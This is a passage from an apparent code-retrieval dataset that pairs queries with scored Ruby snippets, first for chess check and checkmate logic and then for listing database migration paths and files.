"text": "def checkmate?(current_player_color)\n return false unless in_check?(current_player_color)\n current_player_pieces = pieces(current_player_color)\n current_player_pieces.all? { |current_player_piece| current_player_piece.valid_moves.empty? }\n end",
"title": ""
},
{
"docid": "aef15b4f43e906aae861827e2947d604",
"score": "0.64695597",
"text": "def player_in_check?(is_black)\n # Grabs active players king\n king = self.pieces.find_by(type: 'King', is_black: is_black)\n\n # Grab all opponent pieces\n opponent_pieces = self.pieces.active.where(is_black: !is_black)\n\n # Loop through each piece and check to see if they can make a\n # valid move to the active players king (aka check)\n opponent_pieces.each do |piece|\n if piece.valid_move?(king.row, king.column)\n return true\n end\n end\n\n # Return false if no opponent piece can move to active players\n # king\n return false\n end",
"title": ""
},
{
"docid": "e08ab0ce6b0e6f5b8fa003b1fe937dd4",
"score": "0.6468371",
"text": "def edible?(x,y) # self and another piece share same color\n self.color != self.board.grid[x][y].color\n end",
"title": ""
},
{
"docid": "445ce497cf74f177cdd7493581503b35",
"score": "0.6450286",
"text": "def can_capture?(other_piece)\n return false unless other_piece.is_a? ChessPiece\n\n return false if other_piece.color == @color\n\n occupied_position = other_piece.position\n in_front = occupied_position[0] == (@position[0] + @direction)\n diagonal = [@position[1] + 1, @position[1] - 1].include?(occupied_position[1])\n in_front && diagonal || en_passant(other_piece)\n end",
"title": ""
},
{
"docid": "b59a6f4446493d882c7705bb39c6717e",
"score": "0.6450279",
"text": "def in_check?(color)\n # if king is opposite color, return true if king is in danger\n # if white or black, king[pos] == find_king\n king_pos = find_king(color)\n pieces.any? do |piece|\n piece.color != color && piece.moves.include?(king_pos)\n end\n end",
"title": ""
},
{
"docid": "eeb2874e0a504cd492ac10da6a2ca7d1",
"score": "0.64483225",
"text": "def demo_check?(player_color)\n player_color == \"white\" ? opponent_color = \"black\" : opponent_color = \"white\"\n @opponent_king = game.pieces.where(type: \"King\", color: opponent_color).first\n friendly_pieces = game.pieces.where(color: player_color, captured: nil).to_a\n in_check = false\n @threatening_pieces = []\n friendly_pieces.each do |piece|\n piece.set_coords({x_position: @opponent_king.x_position, y_position: @opponent_king.y_position})\n if piece.legal_move?\n in_check = true\n @threatening_pieces << piece\n end\n end\n in_check\n end",
"title": ""
},
{
"docid": "64c2645d675c7e3c1253c29e93866fa3",
"score": "0.64420944",
"text": "def checked?(color)\n king = pieces(color).select { |piece| piece.is_a?(King) }[0]\n king_pos = king.position\n\n enemy = (color == :white ? :black : :white)\n enemy_pieces = pieces(enemy)\n enemy_pieces.each do |piece|\n return true if piece.moves.include?(king_pos)\n end\n\n false\n end",
"title": ""
},
{
"docid": "a63e1e924dd5e28ecbf4598812e0ab6a",
"score": "0.6439585",
"text": "def checkmate?(is_white)\n return false unless check?(is_white)\n # return false if the piece attacking the king is also under attack / can be captured.\n return false if under_attack?(attacking_piece(is_white).is_white, attacking_piece(is_white).x_position, attacking_piece(is_white).y_position)\n # currently only the method can_move_out_of_check? is not working correctly.\n return false if friendly_king(is_white).can_move_out_of_check?\n return false if attacking_piece(is_white).can_be_blocked?(friendly_king(is_white).x_position, friendly_king(is_white).y_position)\n update!(player_win: user_black_id, player_lose: user_white_id) if is_white == true\n update!(player_win: user_white_id, player_lose: user_black_id) if is_white == false\n true\n end",
"title": ""
},
{
"docid": "98933294c52a57c6d12aa25d9fd13154",
"score": "0.6439468",
"text": "def dark_square?(location)\n in_board?(location) && (location[0] + location[1]).odd?\n end",
"title": ""
},
{
"docid": "c655b6877b132e581cd66102cd86ee4d",
"score": "0.64232767",
"text": "def is_black?(codes, element, own_pos)\n raise(ArgumentError, 'codes is not an array') unless codes.is_a?(Array)\n raise(ArgumentError, 'element invalid') unless @match.class::SYMBOLS.include?(element)\n raise(ArgumentError, 'own_pos invalid') unless own_pos.is_a?(Integer)\n\n if element == codes[own_pos]\n codes[own_pos] = nil\n @blacks += 1\n return true\n end\n false\n end",
"title": ""
},
{
"docid": "ea60d796a789e13c831b9938d9ea99c3",
"score": "0.6411117",
"text": "def gameover?\n @board.checkmate?(@turn.color) \n end",
"title": ""
},
{
"docid": "a696b2508d4a1407b9d2d94fe118794e",
"score": "0.64107555",
"text": "def is_winner()\n white_won = false\n black_won = false\n \n @board.each do |cord, piece_list|\n if piece_list != nil and piece_list[0].type == 0\n piece = piece_list[0]\n if piece.color == \"black\"\n white_won = (list_nieghbors(cord[0],cord[1]).size == 6)\n elsif piece.color == \"white\"\n black_won = (list_nieghbors(cord[0],cord[1]).size == 6)\n end\n end\n end\n return \"white\" if (white_won and !black_won)\n return \"black\" if (black_won and !white_won)\n return \"both\" if (white_won and black_won)\n return \"none\"\n end",
"title": ""
},
{
"docid": "7b563e43b7b307acfd7baf4a2028af0c",
"score": "0.6403802",
"text": "def king_in_check?( color )\n\t\t\tking = @kings[ color ]\n\t\t\tother_team = @pieces[ Piece::OTHER_COLOR[ color ] ]\n\t\t\tother_team.collect{ |piece| piece.capturing_moves }.flatten.find{ |move|\n\t\t\t\tmove.captured_piece == king\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "dd1fe0434c7b6893f37307dbd99a2a09",
"score": "0.6402352",
"text": "def pawn_not_moved?\n (position.y == 1 && color == :white) || (position.y == 6 && color == :black) ? (return true) : (return false)\n end",
"title": ""
},
{
"docid": "335de0762d5c93245cec872a8ee1b560",
"score": "0.63972706",
"text": "def in_checkmate?(color)\n king_pos = get_king_pos(color)\n return false unless in_check?(color, king_pos)\n grid.each do |row|\n row.each do |piece|\n return false unless check_if_avoid_checkmate?(piece, color)\n end\n end\n puts \"You win\"\n true\n end",
"title": ""
},
{
"docid": "07c7dac70aa4a50fc1fba77941914325",
"score": "0.63939923",
"text": "def valid?(x, y)\n x >= 0 && x < @cols && y >= 0 && y < @rows &&\n @pixels[x][y] != RPiet::Color::BLACK\n end",
"title": ""
},
{
"docid": "374288ba7b8bc0a832e98ef8b71c0686",
"score": "0.63916254",
"text": "def destination_color\n if @piece_at_destination != nil\n if color_check then true else false end\n else true end\n end",
"title": ""
},
{
"docid": "dd2dfb3f5cd66693cf007c6c9366691b",
"score": "0.63812333",
"text": "def white_pieces\n grid.flatten.select{ |piece| piece.is_a?(Piece) && piece.color == 'white' }\n end",
"title": ""
},
{
"docid": "97337a63f97c0afab4b05e13a9425e10",
"score": "0.6377253",
"text": "def check_if_check?(piece, king_pos, opposite_color)\n unless piece.is_a?(NullPiece)\n if piece.color == opposite_color && piece.moves.include?(king_pos)\n return true\n end\n end\n false\n end",
"title": ""
},
{
"docid": "08f4b0bb5215a7288ff22dffd54ec306",
"score": "0.63633853",
"text": "def checkmate?(color)\n return false unless in_check?(color)\n our_pieces = get_pieces.select { |piece| piece.color == color}\n our_pieces.each do |piece|\n piece.possible_moves.each do |move|\n duped = self.dup\n duped.move(piece.pos,move)\n return false unless duped.in_check?(color)\n end\n end\n color == :black ? winning_color = \"White\" : winning_color = \"Black\"\n puts \"#{winning_color} won! ¡Felicidades!\"\n true\n end",
"title": ""
},
{
"docid": "9f0995aa90e9cd399dfdee6bc7bf73d7",
"score": "0.63628733",
"text": "def won_red?\n :red == winner\n end",
"title": ""
},
{
"docid": "918926a5c9c458e480bb7c45e8eea73e",
"score": "0.63620746",
"text": "def valid?(x, y)\n x >= 0 && x < @rows && y >= 0 && y < @cols && \n @pixels[x][y] != RPiet::Color::BLACK\n end",
"title": ""
},
{
"docid": "e2ddc6371219f2c66423ec304d7b6398",
"score": "0.6346899",
"text": "def lost_red?\n :red == winner\n end",
"title": ""
},
{
"docid": "b867e442e40ac458fd7ea8e407795a49",
"score": "0.6334336",
"text": "def in_check?(color)\n king_pos = find_king(color)\n enemies = pieces.select { |piece| piece.color != color }\n enemies.any? { |enemy| enemy.moves.include?(king_pos)}\n end",
"title": ""
}
] |
98a55dc7bfa460d4a36d3f5179300d29
|
returns array of migration paths
|
[
{
"docid": "597cce9533d6dbb13ffac229edb81f30",
"score": "0.0",
"text": "def load_input_manifest(manifest_path)\n manifest, version = load_manifest(manifest_path, false)\n return manifest\n end",
"title": ""
}
] |
[
{
"docid": "561012fc953d41dfcf3a33c807d2c21d",
"score": "0.80394477",
"text": "def migrations_paths; end",
"title": ""
},
{
"docid": "561012fc953d41dfcf3a33c807d2c21d",
"score": "0.80394477",
"text": "def migrations_paths; end",
"title": ""
},
{
"docid": "561012fc953d41dfcf3a33c807d2c21d",
"score": "0.80394477",
"text": "def migrations_paths; end",
"title": ""
},
{
"docid": "8ce68f5489ca035540fdf528b1d5e6c5",
"score": "0.78685945",
"text": "def migrations_paths\n configuration_hash[:migrations_paths]\n end",
"title": ""
},
{
"docid": "2d3fdd93922b97d844f47d4bdc61471c",
"score": "0.7864601",
"text": "def migrations_paths\n OTR::ActiveRecord.migrations_paths\n end",
"title": ""
},
{
"docid": "3a7270177044985650b77032bfd7ce6c",
"score": "0.74972963",
"text": "def migrations_paths=(_arg0); end",
"title": ""
},
{
"docid": "3a7270177044985650b77032bfd7ce6c",
"score": "0.74972963",
"text": "def migrations_paths=(_arg0); end",
"title": ""
},
{
"docid": "ee746ed2fdb6b1f77bcb957fbce94b24",
"score": "0.7215306",
"text": "def migrations_path\n OTR::ActiveRecord.migrations_paths[0]\n end",
"title": ""
},
{
"docid": "b9c25a9343113eeb7462fb39ea9b438f",
"score": "0.70191807",
"text": "def migrations(path = nil)\n if path.nil?\n @migrations\n else\n @migrations = root.join(path).realpath\n end\n end",
"title": ""
},
{
"docid": "7a0fc59c9b03acb2cfb34e649f085029",
"score": "0.7012342",
"text": "def migrations_path\n migrations = File.expand_path( \"../../../config/migrations\", __FILE__ )\n migrations\n end",
"title": ""
},
{
"docid": "8b443da08c5accf41297ddc99c938950",
"score": "0.7002783",
"text": "def get_migrations_to_execute\n executed_migrations = capture(\"cat #{shared_path}/executed_migrations\").chomp.split(/\\r?\\n/)\n migrations_to_execute = Array.new\n migration_folders = get_migration_folders\n\n # Fetch all migration directories that aren't executed yet\n migration_folders.each do |dirname|\n if executed_migrations.index(dirname) == nil\n migrations_to_execute.push(dirname) \n end\n end\n\n return migrations_to_execute\n end",
"title": ""
},
{
"docid": "db0a8ea1281788fcece93c488f423343",
"score": "0.6994011",
"text": "def migrations\n @migrations || []\n end",
"title": ""
},
{
"docid": "764dedb9b7c29c22fef791e2019fc8a5",
"score": "0.6852745",
"text": "def gather_engine_migration_paths\n paths = ActiveRecord::Migrator.migrations_paths\n\n ::Rails::Engine.subclasses.map(&:instance).each.each do |engine|\n migrations_paths = engine.paths['db/migrate'].existent_directories\n\n migrations_paths.each do |migrations_path|\n # Since ActiveRecord::Migrator.migrations_paths can persist between\n # instances of Msf::DBManager, such as in specs,\n # migrations_path may already be part of\n # migrations_paths, in which case it should not be added or multiple\n # migrations with the same version number errors will occur.\n unless paths.include? migrations_path\n paths << migrations_path\n end\n end\n end\n paths\n end",
"title": ""
},
{
"docid": "3b854dcccca7239c3e30ff91a3e24be5",
"score": "0.68452966",
"text": "def filepaths\n ::Dir.glob(DIR.join('*/*.rb')).sort_by { |i| parse_migration_filename(i) }\n end",
"title": ""
},
{
"docid": "0aa35c3d0c7e934098767d4fb52b6378",
"score": "0.6750235",
"text": "def migrations(_migrations_paths)\n #DataMigrate::MigrationContext.new(migrations_paths).migrations\n DataMigrate::MigrationContext.new(_migrations_paths).migrations\n end",
"title": ""
},
{
"docid": "f209ce976ddf3961a408b85ead1515bb",
"score": "0.67279947",
"text": "def migrations_path\n File.join(Rails.root, \"db/evolver/migrations\")\n end",
"title": ""
},
{
"docid": "d4a8cdb294148c044045fbc410dcb28d",
"score": "0.6687316",
"text": "def get_migrations\n version_numbers.map{|n| load_migration_file(files[n])}\n end",
"title": ""
},
{
"docid": "7c0549ee5a63a6d030870d1d5f1f359e",
"score": "0.66264427",
"text": "def full_migrations_path\n File.join(Rails.root, *migrations_paths.split(File::SEPARATOR))\n end",
"title": ""
},
{
"docid": "27176d32259e50b72c4647258e71d5a7",
"score": "0.6545902",
"text": "def migrations\n files = File.expand_path \"db/migrate\"\n files_ary = Dir.entries(files).select{|x| x[0..0] != \".\"}\n migrations = files_ary.map do |i| \n migration = i.humanize.split(\".\").first\n if migration.split(\" \").first.length == 14\n migration_ary = migration.split(\" \")\n date, version = migration_ary.first.to_date, migration_ary.first\n migration_ary.delete migration_ary.first\n migrate_str = \"[#{version}] : #{migration_ary.join(' ')} : #{date}\"\n version == db_version(true) ? migrate_str << \" [X]\" : migrate_str\n else\n migration\n end\n end\n footer = \"#{files_ary.length} Migrations\"\n footer_border = \"=\"*migrations.last.length\n migrations << [footer_border,footer]\n y migrations.flatten!\n end",
"title": ""
},
{
"docid": "c952a76895e62255b820b4c39d27cb3a",
"score": "0.6538991",
"text": "def migration_files\n Dir[root.join(paths[:migrations_directory], \"[0-9]*_*.rb\")]\n end",
"title": ""
},
{
"docid": "50818280b280ddfbc19c66cab99e48a1",
"score": "0.6535283",
"text": "def get_migration_tuples\n up_mts = []\n down_mts = []\n files.each do |path|\n f = File.basename(path)\n fi = f.downcase\n if target\n if migration_version_from_file(f) > target\n if applied_migrations.include?(fi)\n down_mts << [load_migration_file(path), f, :down]\n end\n elsif !applied_migrations.include?(fi)\n up_mts << [load_migration_file(path), f, :up]\n end\n elsif !applied_migrations.include?(fi)\n up_mts << [load_migration_file(path), f, :up]\n end\n end\n up_mts + down_mts.reverse\n end",
"title": ""
},
{
"docid": "06c6e815986a996a67e2f81dcffae1d0",
"score": "0.6514616",
"text": "def migrations\n migrations = Dir[migration_path+\"/*.rb\"]\n migrations.map { |p| File.basename(p).match(/0*(\\d+)\\_/)[1].to_i }.sort\n end",
"title": ""
},
{
"docid": "7a5d6703a9bba8dd8289b0545a1ff941",
"score": "0.6474576",
"text": "def migrations\n migrations = Dir[migration_directory+\"/*.rb\"]\n migrations.map { |p| File.basename(p).match(/0*(\\d+)\\_/)[1].to_i }.sort\n end",
"title": ""
},
{
"docid": "cafbf220bd1083e8d99714b2b6c746c7",
"score": "0.64617956",
"text": "def td_migrations\n file_migrations.keys - db_migrations\n end",
"title": ""
},
{
"docid": "0363fce7ee529fb07ea8570484055b67",
"score": "0.64277136",
"text": "def migrations\n migrations = Dir[migration_directory+\"/*.rb\"]\n migrations.map { |p| File.basename(p).match(/0*(\\d+)\\_/)[1].to_i }.sort\n end",
"title": ""
},
{
"docid": "7cfe572dd62f0f252986ab884b9f4003",
"score": "0.64221025",
"text": "def migrations_path\n 'vendor/plugins/pg_active_schema/db/migrate'\n end",
"title": ""
},
{
"docid": "bef696879bb0bc7aec15643a078b2d39",
"score": "0.637327",
"text": "def paths\n Array.new([\n File.join(TMP_PATH, TRIGGER),\n Backup::Model.file,\n Backup::Model.chunk_suffixes.map { |chunk_suffix| \"#{Backup::Model.file}-#{chunk_suffix}\" }\n ]).flatten\n end",
"title": ""
},
{
"docid": "4b75c0902a9af86743d353fad762fc23",
"score": "0.6324377",
"text": "def get_migration_files\n files = []\n Dir.new(directory).each do |file|\n next unless MIGRATION_FILE_PATTERN.match(file)\n files << File.join(directory, file)\n end\n files.sort_by{|f| MIGRATION_FILE_PATTERN.match(File.basename(f))[1].to_i}\n end",
"title": ""
},
{
"docid": "9021873d94c7d6895c41841a06f0c115",
"score": "0.6293377",
"text": "def realize_paths!\n @migration_paths.clear\n\n graph = RGL::DirectedAdjacencyGraph.new\n\n # Add a vertex for the current version, in case no edges reach it\n graph.add_vertex(self.schema_version)\n\n # Add edges backwards, as we care about paths from the latest version\n @migration_classes.each_key do |from, to|\n graph.add_edge(to, from)\n end\n\n paths = graph.dijkstra_shortest_paths(Hash.new { 1 }, self.schema_version)\n\n paths.each do |target_version, path|\n next if path.nil? || path.length == 1\n\n # Store the path forwards rather than backwards\n path_migration_classes = path.reverse.each_cons(2).map do |from, to|\n @migration_classes.fetch([from, to])\n end\n\n key = [target_version, schema_version]\n\n @migration_paths[key] = path_migration_classes.map(&:new)\n end\n\n @realized_paths = true\n end",
"title": ""
},
{
"docid": "ff668ae3252e4ae74d427c1e881a086a",
"score": "0.62644637",
"text": "def path_to_migrations\n raise \"You should override path_to_migrations\"\n end",
"title": ""
},
{
"docid": "ab51883dc8c504284937936fcbaf2998",
"score": "0.6249646",
"text": "def file_migrations\n Dir['db/migrate/*.rb'].inject({}) {|h,e|\n e =~ /(\\d+)_([^\\/]+)$/\n h[$1] = $2 if $1 && $2; h\n }\n end",
"title": ""
},
{
"docid": "0c63991061ed7c94e8d832432bc792d4",
"score": "0.6137388",
"text": "def paths\n @paths ||= pathnames.map(&:to_s)\n end",
"title": ""
},
{
"docid": "85dc69d694b35b0732b9b8f9283cba3c",
"score": "0.6117176",
"text": "def get_migration_files\n files = []\n Dir.new(directory).each do |file|\n next unless MIGRATION_FILE_PATTERN.match(file)\n version = migration_version_from_file(file)\n if version >= 20000101\n raise Migrator::Error, \"Migration number too large, must use TimestampMigrator: #{file}\"\n end\n raise(Error, \"Duplicate migration version: #{version}\") if files[version]\n files[version] = File.join(directory, file)\n end\n 1.upto(files.length - 1){|i| raise(Error, \"Missing migration version: #{i}\") unless files[i]} unless @allow_missing_migration_files\n files\n end",
"title": ""
},
{
"docid": "3f5b609694c45c8dc4c7777e6811f1fd",
"score": "0.61123735",
"text": "def db_migrations\n sql('select * from schema_migrations').map {|e| e['version'] }\n end",
"title": ""
},
{
"docid": "53862e1e0445d1f5703fb3f501e75e38",
"score": "0.6040677",
"text": "def get_applied_migrations\n am = ds.select_order_map(column)\n missing_migration_files = am - files.map{|f| File.basename(f).downcase}\n raise(Error, \"Applied migration files not in file system: #{missing_migration_files.join(', ')}\") if missing_migration_files.length > 0 && !@allow_missing_migration_files\n am\n end",
"title": ""
},
{
"docid": "a734df7f2062b313c389b723f9d4a916",
"score": "0.5962427",
"text": "def migrations_directory(*p)\n if p.length == 0\n @migration_directory\n else\n if is_absolute_path?(p[0])\n # it looks like an absolute path\n @migration_directory = p[0]\n else\n # it looks like a relative path\n if @base_directory\n @migration_directory = File.join(@base_directory, p[0])\n else\n @migration_directory = p[0]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e9bf405cabdea0066a48989e266deb18",
"score": "0.5948761",
"text": "def migration_storage_names\n %w[]\n end",
"title": ""
},
{
"docid": "276370b3c52d0f082429130113accf27",
"score": "0.5944923",
"text": "def paths\n map{ |dir| Pathname.new(dir) }\n end",
"title": ""
},
{
"docid": "1108300eb1d6e9d468454f9ccb8a78aa",
"score": "0.59314954",
"text": "def enabled_paths\n enabled.map(&:path)\n end",
"title": ""
},
{
"docid": "283b36da2604939b21b36df1cd49d4da",
"score": "0.5920086",
"text": "def app_paths\n paths = []\n Merb::Slices.each_slice { |slice| paths += slice.collected_app_paths }\n paths\n end",
"title": ""
},
{
"docid": "27a4fe4596c9dd1c2d7cd3b5a7dd5866",
"score": "0.58992255",
"text": "def paths\n dirs.keys\n end",
"title": ""
},
{
"docid": "4a800393db143b57675071a288e1ba37",
"score": "0.58937114",
"text": "def paths\n @paths.values\n end",
"title": ""
},
{
"docid": "fecc9424048930debb15cd8aac16227b",
"score": "0.58931994",
"text": "def all_migrations\n\t\t\tmigrations = self.all_migrating_model_classes.\n\t\t\t\tcollect( &:migrations ).\n\t\t\t\tcompact.\n\t\t\t\tinject do |all, hash|\n\t\t\t\t\tall.merge( hash ) do |key, old, new|\n\t\t\t\t\t\t# rely on the fact that `up` is user defined even for a change block\n\t\t\t\t\t\tfail \"found duplicate `names` for migrations at #{old.up.source_location[0]} and #{new.up.source_location[0]}\"\n\t\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn migrations.values.sort_by {|m| [m.name, m.model_class.name] }\n\t\tend",
"title": ""
},
{
"docid": "05b45b5a0932c1c99dc0871f282f6dbd",
"score": "0.5887204",
"text": "def paths\n @paths\n end",
"title": ""
},
{
"docid": "05b45b5a0932c1c99dc0871f282f6dbd",
"score": "0.5887204",
"text": "def paths\n @paths\n end",
"title": ""
},
{
"docid": "7ba06eebc47c7f0cc6221f39dea6c7ca",
"score": "0.5878377",
"text": "def copy_migrations\n [\n \"acts_as_follower_migration.rb\",\n \"add_social_to_users.rb\",\n \"create_single_use_links.rb\",\n \"add_ldap_attrs_to_user.rb\",\n \"add_avatars_to_users.rb\",\n \"create_checksum_audit_logs.rb\",\n \"create_version_committers.rb\",\n \"add_groups_to_users.rb\",\n \"create_local_authorities.rb\",\n \"create_trophies.rb\",\n 'add_linkedin_to_users.rb',\n 'create_tinymce_assets.rb',\n 'create_content_blocks.rb',\n 'create_featured_works.rb',\n 'add_external_key_to_content_blocks.rb'\n ].each do |file|\n better_migration_template file\n end\n end",
"title": ""
},
{
"docid": "0c40d7c91434532106c687ad42e162f9",
"score": "0.5852758",
"text": "def migration_directory\r\n File.join(self.root, 'db', 'migrate')\r\n end",
"title": ""
},
{
"docid": "924c579cf63d7feded8c9e27b7d460cd",
"score": "0.58476514",
"text": "def role_paths\n Array(@options[:role_paths])\n end",
"title": ""
},
{
"docid": "836ea170adf0add525f4d32a57f6f69e",
"score": "0.58418804",
"text": "def migrations\n unless options[:skip_migrations]\n migration_files = Dir[File.join(self.class.source_root, 'db/migrate/*.rb')]\n migrations_not_in_order =\n migration_files.collect { |f| File.basename(f).sub(/\\.rb$/, '') } - MIGRATION_ORDER\n unless migrations_not_in_order.empty?\n fail \"%s migration%s not added to MIGRATION_ORDER: %s\" % [\n migrations_not_in_order.size,\n migrations_not_in_order.size == 1 ? '' : 's',\n migrations_not_in_order.join(', ')\n ]\n end\n\n # because all migration timestamps end up the same, causing a collision when running rake db:migrate\n # copied functionality from RAILS_GEM_PATH/lib/rails_generator/commands.rb\n MIGRATION_ORDER.each_with_index do |model, i|\n unless (prev_migrations = Dir.glob(\"db/migrate/[0-9]*_*.rb\").grep(/[0-9]+_#{model}.rb$/)).empty?\n prev_migration_timestamp = prev_migrations[0].match(/([0-9]+)_#{model}.rb$/)[1]\n end\n copy_file(\"db/migrate/#{model}.rb\", \"db/migrate/#{(prev_migration_timestamp || Time.now.utc.strftime(\"%Y%m%d%H%M%S\").to_i + i).to_s}_#{model}.rb\")\n end\n end\n end",
"title": ""
},
{
"docid": "9fd021d607b4f3e1b3c4ca1a2553c251",
"score": "0.5838048",
"text": "def final_paths\n final_letters.map { |fl| Path.new([fl]) } + destination.final_paths\n end",
"title": ""
},
{
"docid": "f3f67089c23c60eacec25cb334f5f8e1",
"score": "0.5832275",
"text": "def path_names\n @paths.keys.compact\n end",
"title": ""
},
{
"docid": "991489c6b5715d66fc0db7d3b9a2bcbe",
"score": "0.5819171",
"text": "def append_migration_paths\n if running_in_dummy_app? || running_outside_of_engine?\n add_engine_db_path_to_app(\"migrate\")\n end\n end",
"title": ""
},
{
"docid": "ab893cda1103e484f1af87fc85ff2301",
"score": "0.5804484",
"text": "def paths\n @paths ||= []\n end",
"title": ""
},
{
"docid": "37fb5c50341034f2810f0728b9c857ed",
"score": "0.57927936",
"text": "def source_paths\n if File.exist? destination_root('generators')\n [\"#{destination_root('generators')}\", File.expand_path(File.dirname(__FILE__))]\n else\n [File.expand_path(File.dirname(__FILE__))]\n end\n end",
"title": ""
},
{
"docid": "892e57671abb421e265efa2c92e07621",
"score": "0.578482",
"text": "def migration_directory\n File.join(directory, 'db', 'migrate')\n end",
"title": ""
},
{
"docid": "dd7f5f9f9913ed4a6368c53e74132d3d",
"score": "0.57805353",
"text": "def dirnames\n get_directories.map(&:path)\n end",
"title": ""
},
{
"docid": "7921fb690f31d86769136cb706494985",
"score": "0.5778901",
"text": "def guest_paths(folders)\n folders.map { |parts| parts[2] }\n end",
"title": ""
},
{
"docid": "7921fb690f31d86769136cb706494985",
"score": "0.5778901",
"text": "def guest_paths(folders)\n folders.map { |parts| parts[2] }\n end",
"title": ""
},
{
"docid": "d00f654477ed783572ccbf50774b3344",
"score": "0.57783765",
"text": "def all_paths\n [self.path]\n end",
"title": ""
},
{
"docid": "ab46754d84686f39481bc6ce858da19b",
"score": "0.5777932",
"text": "def search_paths\r\n result = []\r\n Find.find(@path) do |s_p|\r\n result << s_p if s_p[/schema[^\\/]*.rb$/]\r\n end\r\n result\r\n end",
"title": ""
},
{
"docid": "93fecbf8b2e79deca249c057234a4d80",
"score": "0.5771131",
"text": "def down_dirs\n return ['down'] unless @down_dirs\n @down_dirs\n end",
"title": ""
},
{
"docid": "cef7adbf02fec31e0f9eb0ad0aa661d8",
"score": "0.57601166",
"text": "def append_migrations\n initializer :append_migrations do |app|\n unless app.root.to_s.match root.to_s+File::SEPARATOR\n app.config.paths[\"db/migrate\"].concat config.paths[\"db/migrate\"].expanded\n end\n end\n end",
"title": ""
},
{
"docid": "17e765730de9990b5d971e8bb354592e",
"score": "0.5748019",
"text": "def file_paths(path)\n found_dbs_paths = []\n\n files = []\n files = dir(path) if directory?(path)\n files.each do |file_path|\n unless %w(. .. Shared).include?(file_path)\n found_dbs_paths.push([path, file_path].join(system_separator))\n end\n end\n\n found_dbs_paths\n end",
"title": ""
},
{
"docid": "493f742db420ee732ce071c7dc15dc6d",
"score": "0.57451963",
"text": "def paths\n map\n end",
"title": ""
},
{
"docid": "02010c11f05ad0de96384708ad9f8a51",
"score": "0.5718427",
"text": "def migration_directory\n File.join(self.directory, 'db', 'migrate')\n end",
"title": ""
},
{
"docid": "eef44dc11cf446f7d8d5207ba5c5819c",
"score": "0.57114",
"text": "def current_release_paths\n paths_array = Array.new\n paths_array.push(::File.realpath(current_path)) if ::File.exists?(current_path)\n paths_array.push(::Dir.glob(::File.join(deploy_to, '/releases/*')).sort).flatten.compact\nend",
"title": ""
},
{
"docid": "e75d535a27dccf1a11d85c64fa2e1b8d",
"score": "0.5709729",
"text": "def full_shared_schema_migration_path\n \"#{Rails.root}/#{shared_migrations_directory}\"\n end",
"title": ""
},
{
"docid": "e75d535a27dccf1a11d85c64fa2e1b8d",
"score": "0.5709729",
"text": "def full_shared_schema_migration_path\n \"#{Rails.root}/#{shared_migrations_directory}\"\n end",
"title": ""
},
{
"docid": "8f849aa4dea2152d6f0dc9f190288cb0",
"score": "0.5708072",
"text": "def directory_paths\n DataFile.all.map { |p| File.dirname(p.relative_path).split(\"/\")[0] }.uniq\n end",
"title": ""
},
{
"docid": "c4202003cd1feaf26c53948ee0ed84df",
"score": "0.57031244",
"text": "def append_migrations\n initializer :append_migrations do |app|\n unless app.root.to_s.match root.to_s\n config.paths['db/migrate'].expanded.each do |path|\n app.config.paths['db/migrate'] << path\n ActiveRecord::Migrator.migrations_paths << path\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9065cc90fa826a2790b4df0368f972d9",
"score": "0.57004184",
"text": "def copy_migrations\n migrations = [[\"20131018214212_create_repository_manager.rb\",\"create_repository_manager.rb\"]\n ]\n migrations.each do |migration|\n migration_template \"../../../../db/migrate/\" + migration[0], \"db/migrate/\" + migration[1]\n end\n end",
"title": ""
},
{
"docid": "fccebee1faeaec4b6f0954940f77acea",
"score": "0.5687249",
"text": "def paths\n @@paths\n end",
"title": ""
},
{
"docid": "fccebee1faeaec4b6f0954940f77acea",
"score": "0.5687249",
"text": "def paths\n @@paths\n end",
"title": ""
},
{
"docid": "a589a7a5f344a372fc93ddd97354b034",
"score": "0.56802523",
"text": "def untracked_schema_migrations\n git_command = \"git ls-files --others --exclude-standard -- #{SCHEMA_MIGRATIONS_DIR}\"\n run(git_command).chomp.split(\"\\n\")\n end",
"title": ""
},
{
"docid": "a84236356080fd00c7a16c4a4f8c25d1",
"score": "0.5677265",
"text": "def get_all_versions\n if @schema_migration.table_exists?\n @schema_migration.all_versions.map(&:to_i)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "88923ba012cc7f057171c33ea2f32472",
"score": "0.5668741",
"text": "def pathnames\n work.entries - %w{. ..}.map{|f|Pathname.new(f)}\n end",
"title": ""
},
{
"docid": "ae16ac72cc819fa169cd1097641c65cd",
"score": "0.5650909",
"text": "def get_backup_dir_list(backup_sets_dir)\n dir_list = []\n file_list = Dir.entries(backup_sets_dir)\n file_list.each do |x|\n next if x == '.' || x == '..'\n next if !x.start_with?(BACKUP_SET_DIR_PREFIX)\n dpath = File.join(backup_sets_dir,x)\n next if !File.directory?(dpath)\n dir_list << dpath\n end\n dir_list\n end",
"title": ""
},
{
"docid": "023450f35222f23d51a0ca6f7230f00d",
"score": "0.56470275",
"text": "def migration_classes\n sql = \"SELECT * FROM #{ActiveRecord::Migrator.schema_info_history_table_name}\"\n already_ran = Base.connection.select_all(sql).index_by{|row| row['version'] + row['name']}\n migrations = migration_files.inject([]) do |migrations, migration_file|\n load(migration_file)\n version, name = migration_version_and_name(migration_file)\n already_ran_key = version.to_i.to_s + migration_class(name, version.to_i).name\n migrations << [ version.to_i, migration_class(name, version.to_i) ] if (up? and !already_ran.has_key?(already_ran_key)) or \\\n (down? and already_ran.has_key?(already_ran_key))\n migrations\n end\n down? ? migrations.sort_by{|e| [e[0], e[1].name]}.reverse : migrations.sort_by{|e| [e[0], e[1].name]}\n end",
"title": ""
},
{
"docid": "660dcbd22592d27c73174aee00d8a917",
"score": "0.5640298",
"text": "def migration_store\n Maglev::PERSISTENT_ROOT[MIGRATION_KEY] ||= []\n end",
"title": ""
},
{
"docid": "3d48c9392a58b7d624f81e277b3d143a",
"score": "0.56401795",
"text": "def available_migrations()\n { }\n end",
"title": ""
},
{
"docid": "be3ac20f4603addac56e8b497b0aca0b",
"score": "0.5637994",
"text": "def source_paths\n if File.exist? destination_root('generators', 'templates')\n [\"#{destination_root('generators')}\", File.expand_path(File.dirname(__FILE__))]\n else\n [File.expand_path(File.dirname(__FILE__))]\n end\n end",
"title": ""
},
{
"docid": "73a1eae4fcce63837df993170086709b",
"score": "0.56268126",
"text": "def managed_directories\n [@path]\n end",
"title": ""
},
{
"docid": "76db9ba3374fc7640a1097a377ff9f39",
